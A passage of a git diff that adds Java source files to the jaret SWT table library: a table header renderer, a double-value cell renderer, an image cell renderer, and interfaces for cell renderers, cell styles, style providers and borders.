gc.drawRectangle(drawingArea.x, drawingArea.y, drawingArea.width - 1, drawingArea.height - 1); + } else { + gc.drawLine(drawingArea.x, drawingArea.y + drawingArea.height - 1, drawingArea.width - 1, drawingArea.y + + drawingArea.height - 1); + } + + // label + int offx = column.supportsSorting() ? SORTINGAREAINDICATORWIDTH : 2; + if (_alignment.equals(Alignment.LEFT)) { + gc.drawString(label, drawingArea.x + offx, drawingArea.y + scaleY(2)); + } else if (_alignment.equals(Alignment.CENTER)) { + Rectangle rect = new Rectangle(drawingArea.x + offx, drawingArea.y + scaleY(2), drawingArea.width + - offx, drawingArea.height - 2 * scaleY(2)); + SwtGraphicsHelper.drawStringCentered(gc, label, rect); + } else if (_alignment.equals(Alignment.RIGHT)) { + SwtGraphicsHelper.drawStringRightAlignedVTop(gc, label, drawingArea.x + drawingArea.width, + drawingArea.y + scaleY(2)); + } + } else { + // rotated drawing + gc.setBackground(gc.getDevice().getSystemColor(SWT.COLOR_WHITE)); + Point extent = gc.stringExtent(label); + float[] cords = {(float) (drawingArea.x + ((drawingArea.width - extent.x / 2) / 2)), + (float) (drawingArea.y + drawingArea.height - 9)}; + _transformInv.transform(cords); + + gc.setTransform(_transform); + gc.drawString(label, (int) cords[0], (int) cords[1]); + gc.setTransform(null); + } + + gc.setFont(font); + gc.setBackground(bg); + } + + /** + * {@inheritDoc} + */ + public boolean disableClipping() { + // disable clipping when rotated + return _rotation != 0; + } + + /** + * {@inheritDoc} + */ + public void dispose() { + disposeTransformations(); + if (_imageRegistry != null) { + _imageRegistry.dispose(); + } + if (_bgColor != null) { + _bgColor.dispose(); + } + if (_font != null) { + _font.dispose(); + } + + } + + private ImageRegistry getImageRegistry() { + if (_imageRegistry == null) { + _imageRegistry = new ImageRegistry(); + ImageDescriptor imgDesc = new LocalResourceImageDescriptor( + "/de/jaret/util/ui/table/resource/smallarrow_down.gif"); + _imageRegistry.put(DOWN, imgDesc.createImage()); + imgDesc = new LocalResourceImageDescriptor("/de/jaret/util/ui/table/resource/smallarrow_up.gif"); + _imageRegistry.put(UP, imgDesc.createImage()); + } + return _imageRegistry; + } + + public class LocalResourceImageDescriptor extends ImageDescriptor { + String rscString; + + /** + * + */ + public LocalResourceImageDescriptor(String rscString) { + this.rscString = rscString; + } + + /** + * {@inheritDoc} + */ + public ImageData getImageData() { + Image img = new Image(Display.getCurrent(), this.getClass().getResourceAsStream(rscString)); + return img.getImageData(); + } + } + + /** + * Dispose the transformations. + * + */ + private void disposeTransformations() { + if (_transform != null) { + _transform.dispose(); + } + if (_transformInv != null) { + _transformInv.dispose(); + } + } + + /** + * {@inheritDoc} + */ + public boolean isSortingClick(Rectangle drawingArea, IColumn column, int x, int y) { + return x - drawingArea.x < SORTINGAREAINDICATORWIDTH; + } + + /** + * {@inheritDoc} + */ + public ITableHeaderRenderer getPrintRenderer(Printer printer) { + return new DefaultTableHeaderRenderer(printer); + } + + /** + * Retrieve the alignment for the header label (only when not rotated). + * + * @return the alignment + */ + public Alignment getAlignment() { + return _alignment; + } + + /** + * Set the alignment for the header label (not used when rotated). + * + * @param alignment alignment to be used + */ + public void setAlignment(Alignment alignment) { + _alignment = alignment; + } + + /** + * Retrieve whether the header is drawn boxed. + * + * @return true if a box is drawn around the header + */ + public boolean getDrawBox() { + return _drawBox; + } + + /** + * Set whether the header should be drawn boxed. + * + * @param drawBox true for boxed drawing + */ + public void setDrawBox(boolean drawBox) { + _drawBox = drawBox; + } + + /** + * Get the background RGB value of the header (non rotated only). + * + * @return the RGB value for the background + */ + public RGB getBackgroundRGB() { + return _backgroundRGB; + } + + /** + * Set the background rgb value. The color will be aquired when used. Will only be used when non rotated. + * + * @param backgroundRGB the RGB value + */ + public void setBackgroundRGB(RGB backgroundRGB) { + if (_bgColor != null) { + _bgColor.dispose(); + _bgColor = null; + } + _backgroundRGB = backgroundRGB; + } + + /** + * Get the fontdata for the font used to render the header label. + * + * @return the fontdata + */ + public FontData getFontData() { + return _fontData; + } + + /** + * Set the fontdata for the font to render the header. The font will be aquired when used. + * + * @param fontData fontdat ato use + */ + public void setFontData(FontData fontData) { + if (_font != null) { + _font.dispose(); + _font = null; + } + _fontData = fontData; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DoubleCellRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DoubleCellRenderer.java new file mode 100644 index 0000000..ad630c4 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DoubleCellRenderer.java @@ -0,0 +1,86 @@ +/* + * File: DoubleCellRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import java.text.DecimalFormat; +import java.text.NumberFormat; + +import org.eclipse.swt.printing.Printer; + +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * CellRenderer for double values. + * + * @author Peter Kliem + * @version $Id: DoubleCellRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class DoubleCellRenderer extends TextCellRenderer { + /** default fraction digits. */ + protected static final int DEFAULT_FRACTION_DIGITS = 2; + /** number format for text converson. */ + protected NumberFormat _numberFormat = DecimalFormat.getIntegerInstance(); + + /** + * Construct a double cell renderer for printing. + * + * @param printer printer device + */ + public DoubleCellRenderer(Printer printer) { + super(printer); + _numberFormat.setMaximumFractionDigits(DEFAULT_FRACTION_DIGITS); + _numberFormat.setMinimumFractionDigits(DEFAULT_FRACTION_DIGITS); + } + + /** + * Construct a double cell renderer for use with a display. + */ + public DoubleCellRenderer() { + this(null); + } + + /** + * Retrieve the used number format. + * + * @return number format + */ + public NumberFormat getNumberFormat() { + return _numberFormat; + } + + /** + * Set number format used for text conversion. + * + * @param numberFormat number format + */ + public void setNumberFormat(NumberFormat numberFormat) { + _numberFormat = numberFormat; + } + + /** + * {@inheritDoc} + */ + protected String convertValue(IRow row, IColumn column) { + Double value = (Double) column.getValue(row); + return value != null ? _numberFormat.format(value.doubleValue()) : null; + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + DoubleCellRenderer dcr = new DoubleCellRenderer(printer); + dcr.setNumberFormat(getNumberFormat()); + return dcr; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/IBorderConfiguration.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/IBorderConfiguration.java new file mode 100644 index 0000000..ef517c0 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/IBorderConfiguration.java @@ -0,0 +1,54 @@ +/* + * File: IBorderConfiguration.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +/** + * Interface describing a border to be rendered around a cell. + * + * @author Peter Kliem + * @version $Id: IBorderConfiguration.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public interface IBorderConfiguration { + /** + * Get left border width. + * + * @return border width in pixels + */ + int getBorderLeft(); + + /** + * Get right border width. + * + * @return border width in pixels + */ + int getBorderRight(); + + /** + * Get top border width. + * + * @return border width in pixels + */ + int getBorderTop(); + + /** + * Get bottom border width. + * + * @return border width in pixels + */ + int getBorderBottom(); + + /** + * Produce a copy of this border configuration. + * + * @return copy of the configuration + */ + IBorderConfiguration copy(); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellRenderer.java new file mode 100644 index 0000000..54a753e --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellRenderer.java @@ -0,0 +1,94 @@ +/* + * File: ICellRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import java.util.List; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Interface for a cell renderer for a jaret table. + * + * @author Peter Kliem + * @version $Id: ICellRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public interface ICellRenderer { + /** + * Draw a single cell. The draw method should be null safe (handling null as the cell value). + * + * @param gc GC to paint on + * @param jaretTable table the rendering is for + * @param cellStyle style of the cell + * @param drawingArea rectangle to draw within + * @param row row of the cell to paint + * @param column column of the cell to paint + * @param drawFocus true if a focus mark should be drawn + * @param selected true if the cell is currently selected + * @param printing true if the render operation is for a printer + */ + void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, IColumn column, + boolean drawFocus, boolean selected, boolean printing); + + /** + * Calculate the preferred width for the column. + * + * @param rows the rows currently displayed by the table + * @param column the column for which the preferred width is to be calculated + * @return the preferred width or -1 for no special preferred width. + */ + int getPreferredWidth(List rows, IColumn column); + + /** + * Calculate the preferred height of a specific cell. + * + * @param gc GC that will used + * @param cellStyle cell style of the cell + * @param width width of the column (thus of the cell) + * @param row row + * @param column column + * @return the preferred height or -1 for no special preferred height + */ + int getPreferredHeight(GC gc, ICellStyle cellStyle, int width, IRow row, IColumn column); + + /** + * Provide a tooltip text for display. + * + * @param jaretTable table that is asking + * @param drawingArea area of the cell rendering + * @param row row + * @param column column + * @param x mouse x coordinate (absolute within drawing area) + * @param y mouse y coordinate (abs within drawing area) + * @return tootip text or null if no tooltip is to be shown + */ + String getTooltip(JaretTable jaretTable, Rectangle drawingArea, IRow row, IColumn column, int x, int y); + + /** + * Create a renderer connfigured for printing. + * + * @param printer printer to use + * @return a configured renderer for printing + */ + ICellRenderer createPrintRenderer(Printer printer); + + /** + * If there are resources to free - this is the place. + * + */ + void dispose(); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellStyle.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellStyle.java new file mode 100644 index 0000000..d34a1f6 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellStyle.java @@ -0,0 +1,155 @@ +/* + * File: ICellStyle.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.RGB; + +import de.jaret.util.misc.PropertyObservable; +import de.jaret.util.ui.table.model.ITableViewState; + +/** + * Interface describing the style of a cell. + * + * @author Peter Kliem + * @version $Id: ICellStyle.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public interface ICellStyle extends PropertyObservable { + /** property name. */ + String HORIZONTAL_ALIGNMENT = "HorizontalAlignment"; + + /** property name. */ + String VERTICAL_ALIGNMENT = "VerticalAlignment"; + + /** property name. */ + String BACKGROUNDCOLOR = "BackgroundColor"; + + /** property name. */ + String FOREGROUNDCOLOR = "ForegroundColor"; + + /** property name. */ + String FONT = "Font"; + + /** property name. */ + String BORDERCONFIGURATION = "BorderConfiguration"; + + /** property name. */ + String BORDERCOLOR = "BorderColor"; + + /** + * Retrieve the border configuration. + * + * @return the border configuration + */ + IBorderConfiguration getBorderConfiguration(); + + /** + * Set the border configuration. + * + * @param borderConfiguration the onfiguration to use + */ + void setBorderConfiguration(IBorderConfiguration borderConfiguration); + + /** + * Retrieve the border color. + * + * @return border color + */ + RGB getBorderColor(); + + /** + * Set the border color. + * + * @param bordercolor border color + */ + void setBorderColor(RGB bordercolor); + + /** + * Retrieve the foreground color. + * + * @return the foreground color + */ + RGB getForegroundColor(); + + /** + * Set the foreground color. + * + * @param foreground the fore ground colro to use + */ + void setForegroundColor(RGB foreground); + + /** + * Retrieve the background color. + * + * @return the background color + */ + RGB getBackgroundColor(); + + /** + * Set the background color. + * + * @param background the color to use + */ + void setBackgroundColor(RGB background); + + /** + * Retrieve the font. + * + * @return the font data for the font to use + */ + FontData getFont(); + + /** + * Set the font. + * + * @param fontdata font data of the font + */ + void setFont(FontData fontdata); + + /** + * Retrieve the horizontal alignment. + * + * @return the horizontal alignment + */ + ITableViewState.HAlignment getHorizontalAlignment(); + + /** + * Set the horizontal alignment. + * + * @param alignment the horizontal alignment + */ + void setHorizontalAlignment(ITableViewState.HAlignment alignment); + + /** + * Retrieve the vertical alignment. + * + * @return the vertical alignment + */ + ITableViewState.VAlignment getVerticalAlignment(); + + /** + * Set the vertical alignemnt. + * + * @param alignment the vertical alignment + */ + void setVerticalAlignment(ITableViewState.VAlignment alignment); + + boolean getMultiLine(); + + void setMultiLine(boolean multiLine); + + /** + * Copy the cell style. + * + * @return a copy of the cell style + */ + ICellStyle copy(); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellStyleListener.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellStyleListener.java new file mode 100644 index 0000000..baedb3b --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellStyleListener.java @@ -0,0 +1,31 @@ +/* + * File: ICellStyleListener.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Interface for a listener listening on style changes. + * + * @author Peter Kliem + * @version $Id: ICellStyleListener.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public interface ICellStyleListener { + /** + * Will be called whenever a style changed. + * + * @param row row + * @param column column + * @param style changed style + */ + void cellStyleChanged(IRow row, IColumn column, ICellStyle style); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellStyleProvider.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellStyleProvider.java new file mode 100644 index 0000000..5ecaf77 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ICellStyleProvider.java @@ -0,0 +1,272 @@ +/* + * File: ICellStyleProvider.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.RGB; + +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.model.ITableViewState; + +/** + * Interface for a cell style supplier. The cell style provider is responsible for storing the individual cell styles. + * It is possible to define a single style for a row, a column or a specific cell. A default cell style is used whenever + * no specific cell style has been set. + *

    + * The interface operates on cell styles. In some cases this is quite inconvenient so som econvience methods have been + * added to support direct setting of the properties. + *

    + * + * @author Peter Kliem + * @version $Id: ICellStyleProvider.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public interface ICellStyleProvider { + /** + * Set a style strategy to be involved when delivering styles. + * + * @param startegy strategy to use + */ + void setStyleStrategy(IStyleStrategy startegy); + + /** + * Retrieve a style strategy if set. + * + * @return the strategy or null + */ + IStyleStrategy getStyleStrategy(); + + /** + * Retrieve the cell style for a cell. This method should not create CellStyle objects. + * + * @param row row of the cell + * @param column col of the cell + * @return cell style for the specified cell + */ + ICellStyle getCellStyle(IRow row, IColumn column); + + /** + * Get the cell style defined for a single cell. Should create a new CellStyle object if create is true. + * + * @param row row of the cell + * @param column column of the cell + * @param create true will signal to create a new style object if necessary + * @return cell style for the cell + */ + ICellStyle getCellSpecificStyle(IRow row, IColumn column, boolean create); + + /** + * Retrieve the cell style for a column. + * + * @param column column + * @param create if true and no style has been set for the column, create a copy of the default cell style + * @return the cellstyle for the colun which might be the default cell style if create is set to false + */ + ICellStyle getColumnCellStyle(IColumn column, boolean create); + + /** + * Set the cell style for a column. + * + * @param column column + * @param style style + */ + void setColumnCellStyle(IColumn column, ICellStyle style); + + /** + * Retrieve the cell style for a row. + * + * @param row row + * @param create if true and no style has been set for the row, create a copy of the default cell style + * @return the cellstyle for the row which might be the default cell style if create is set to false + */ + ICellStyle getRowCellStyle(IRow row, boolean create); + + /** + * Set the cell style for a row. + * + * @param row row + * @param style cell style + */ + void setRowCellStyle(IRow row, ICellStyle style); + + /** + * Set the cell style to use for a specific cell. + * + * @param row row of the cell + * @param column column of the cell + * @param style style to use + */ + void setCellStyle(IRow row, IColumn column, ICellStyle style); + + /** + * Retrieve the default cell style used for cells where no style has been set. If the returned cell style is + * modified, this applies for all default styled cells. + * + * @return the default cell style. + */ + ICellStyle getDefaultCellStyle(); + + /** + * Set the default cell style that is used whenever no specific style has been set for a cell, column or row. + * + * @param cellStyle cell style to use as the default cell style + */ + void setDefaultCellStyle(ICellStyle cellStyle); + + /** + * Add a listener to listen on cell style changes. + * + * @param csl listener + */ + void addCellStyleListener(ICellStyleListener csl); + + /** + * Remove a cell sytle listener. + * + * @param csl listener to remove + */ + void remCellStyleListener(ICellStyleListener csl); + + /** + * Convenience method for setting the background of a row. This method will manipulate or create a style. + * + * @param row row + * @param background background color + */ + void setBackground(IRow row, RGB background); + + /** + * Convenience method for setting the background of a column. This method will manipulate or create a style. + * + * @param column column + * @param background background color + */ + void setBackground(IColumn column, RGB background); + + /** + * Convenience method for setting the background of a cell. This method will manipulate or create a style. + * + * @param row row of th cell + * @param column column of the cell + * @param background background color + */ + void setBackground(IRow row, IColumn column, RGB background); + + /** + * Convenience method for setting the foreground of a row. This method will manipulate or create a style. + * + * @param row row + * @param foreground background color + */ + void setForeground(IRow row, RGB foreground); + + /** + * Convenience method for setting the foreground of a column. This method will manipulate or create a style. + * + * @param column column + * @param foreground foreground color + */ + void setForeground(IColumn column, RGB foreground); + + /** + * Convenience method for setting the foreground of a cell. This method will manipulate or create a style. + * + * @param row row of th cell + * @param column column of the cell + * @param foreground foreground color + */ + void setForeground(IRow row, IColumn column, RGB foreground); + + /** + * Convenience method for setting the horizontal alignment. The method will create a cell style for the element or + * manipulate the already set style. + * + * @param row row + * @param hAlignment horizontal alignment + */ + void setHorizontalAlignment(IRow row, ITableViewState.HAlignment hAlignment); + + /** + * Convenience method for setting the horizontal alignment. The method will create a cell style for the element or + * manipulate the already set style. + * + * @param column column + * @param hAlignment horizontal alignment + */ + void setHorizontalAlignment(IColumn column, ITableViewState.HAlignment hAlignment); + + /** + * Convenience method for setting the horizontal alignment. The method will create a cell style for the element or + * manipulate the already set style. + * + * @param row row of th cell + * @param column column of the cell + * @param hAlignment horizontal alignment + */ + void setHorizontalAlignment(IRow row, IColumn column, ITableViewState.HAlignment hAlignment); + + /** + * Convenience method for setting the vertical alignment. The method will create a cell style for the element or + * manipulate the already set style. + * + * @param row row + * @param vAlignment vertical alignment + */ + void setVerticalAlignment(IRow row, ITableViewState.VAlignment vAlignment); + + /** + * Convenience method for setting the vertical alignment. The method will create a cell style for the element or + * manipulate the already set style. + * + * @param column column + * @param vAlignment vertical alignment + */ + void setVerticalAlignment(IColumn column, ITableViewState.VAlignment vAlignment); + + /** + * Convenience method for setting the vertical alignment. The method will create a cell style for the element or + * manipulate the already set style. + * + * @param row row of th cell + * @param column column of the cell + * @param vAlignment vertical alignment + */ + void setVerticalAlignment(IRow row, IColumn column, ITableViewState.VAlignment vAlignment); + + /** + * Convenience method for setting the font. The method will create a cell style for the element or manipulate the + * already set style. + * + * @param row row + * @param fontdata font data for the font to use + */ + void setFont(IRow row, FontData fontdata); + + /** + * Convenience method for setting the font. The method will create a cell style for the element or manipulate the + * already set style. + * + * @param column column + * @param fontdata font data for the font to use + */ + void setFont(IColumn column, FontData fontdata); + + /** + * Convenience method for setting the font. The method will create a cell style for the element or manipulate the + * already set style. + * + * @param row row of th cell + * @param column column of the cell + * @param fontdata font data for the font to use + */ + void setFont(IRow row, IColumn column, FontData fontdata); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/IHierarchyRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/IHierarchyRenderer.java new file mode 100644 index 0000000..a254445 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/IHierarchyRenderer.java @@ -0,0 +1,34 @@ +/* + * File: IHierarchyRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.swt.graphics.Rectangle; + +import de.jaret.util.ui.table.model.IRow; + +/** + * Interface specifying extensions to the ICellRenderer interface necessary for hierarchy handling. + * + * @author Peter Kliem + * @version $Id: IHierarchyRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public interface IHierarchyRenderer extends ICellRenderer { + /** + * Should return true if a click on the coordinates x,y should toggle expanded state. + * + * @param row row + * @param drawingarea drawing area of the hierarchy section of the row + * @param x x coordinate to check + * @param y y coordinate to check + * @return true if the click is in the acive area + */ + boolean isInActiveArea(IRow row, Rectangle drawingarea, int x, int y); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/IStyleStrategy.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/IStyleStrategy.java new file mode 100644 index 0000000..35fdf88 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/IStyleStrategy.java @@ -0,0 +1,37 @@ +/* + * File: IStyleStrategy.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Interface for a strategy that can be added to a cell style provider to determine styles on the fly based on the + * content of the element (such as coloring the background of even rows). + * + * @author kliem + * @version $Id: IStyleStrategy.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public interface IStyleStrategy { + /** + * This method is called before a cell style is delivered to the jaret table (by getCellStyle(row, col) in the cell + * style provider). It gets the cell style regulary determined by the provider and the default cell style. It can + * then replace that style according to the strategy. The strategy should not alter the incoming style since this + * alters all cells using that style. + * + * @param row row + * @param column column + * @param incomingStyle the determined cell style + * @param defaultCellStyle the defalt cell style used by the provider + * @return cellstyle to be used by the table + */ + ICellStyle getCellStyle(IRow row, IColumn column, ICellStyle incomingStyle, ICellStyle defaultCellStyle); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ITableHeaderRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ITableHeaderRenderer.java new file mode 100644 index 0000000..571ce43 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ITableHeaderRenderer.java @@ -0,0 +1,72 @@ +/* + * File: ITableHeaderRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; + +import de.jaret.util.ui.table.model.IColumn; + +/** + * Interface describing a header renderer for the jaret table. + * + * @author Peter Kliem + * @version $Id: ITableHeaderRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public interface ITableHeaderRenderer { + /** + * Draw a table header. + * + * @param gc GC to be used + * @param rectangle rectangle to draw within + * @param column the column for which the header is painted. + * @param sortingPosition if the column is part of the sorting set this indicates the sorting order position. A + * value of 0 means no sorting. + * @param sortDir if sorting this indicates the sorting direction. true means ascending. + * @param printing true if the draw operation is for a printer + */ + void draw(GC gc, Rectangle rectangle, IColumn column, int sortingPosition, boolean sortDir, boolean printing); + + /** + * If this method returns true the gc for drawing will not be limited by a clipping rect. This is + * useful for slanted header texts but should be used with the appropriate care. + * + * @return true if the rendering should not be clipped. + */ + boolean disableClipping(); + + /** + * Check whether a click hits the area reserved for sorting indication. + * + * @param drawingArea drawing aea of the header + * @param column column + * @param x x coordinat of the click + * @param y y coordinate of the click + * @return true if the click is in the area that should be active for sorting + */ + boolean isSortingClick(Rectangle drawingArea, IColumn column, int x, int y); + + /** + * Create a table header renderer for printing. + * + * @param printer the printer that will be used + * @return a configured header renderer for printing. + */ + ITableHeaderRenderer getPrintRenderer(Printer printer); + + /** + * Dispose any resources allocated. + * + */ + void dispose(); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ImageCellRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ImageCellRenderer.java new file mode 100644 index 0000000..6112c3d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ImageCellRenderer.java @@ -0,0 +1,110 @@ +/* + * File: ImageCellRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * CellRenderer rendering an image. + * + * @author Peter Kliem + * @version $Id: ImageCellRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class ImageCellRenderer extends CellRendererBase implements ICellRenderer { + + /** + * Construct an image cell renderer for use with a printer. + * + * @param printer printer + */ + public ImageCellRenderer(Printer printer) { + super(printer); + } + + /** + * Construct an image cell renderer for display use. + * + */ + public ImageCellRenderer() { + super(null); + } + + /** + * {@inheritDoc} + */ + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + drawBackground(gc, drawingArea, cellStyle, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + Object value = column.getValue(row); + if (value != null) { + if (value instanceof Image) { + Image img = (Image) value; + int x = rect.x + (rect.width - img.getBounds().width) / 2; + int y = rect.y + (rect.height - img.getBounds().height) / 2; + gc.drawImage(img, x, y); + } else { + // indicate error with red fill + Color bg = gc.getBackground(); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_RED)); + gc.fillRectangle(rect); + gc.setBackground(bg); + } + } + if (drawFocus) { + drawFocus(gc, drawingArea); + } + drawSelection(gc, drawingArea, cellStyle, selected, printing); + + } + + // public int getPreferredWidth(List rows, IColumn column) { + // int max = 0; + // for (IRow row : rows) { + // Image img = (Image)column.getValue(row); + // if (img.getBounds().width > max) { + // max = img.getBounds().width; + // } + // } + // return max; + // } + // public int getPreferredHeight(IRow row, IColumn column) { + // Image img = (Image)column.getValue(row); + // return img.getBounds().height; + // } + // + + /** + * {@inheritDoc} + */ + public void dispose() { + // nothing to dispose + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + return new ImageCellRenderer(printer); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/LabelProviderRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/LabelProviderRenderer.java new file mode 100644 index 0000000..137c971 --- /dev/null +++ 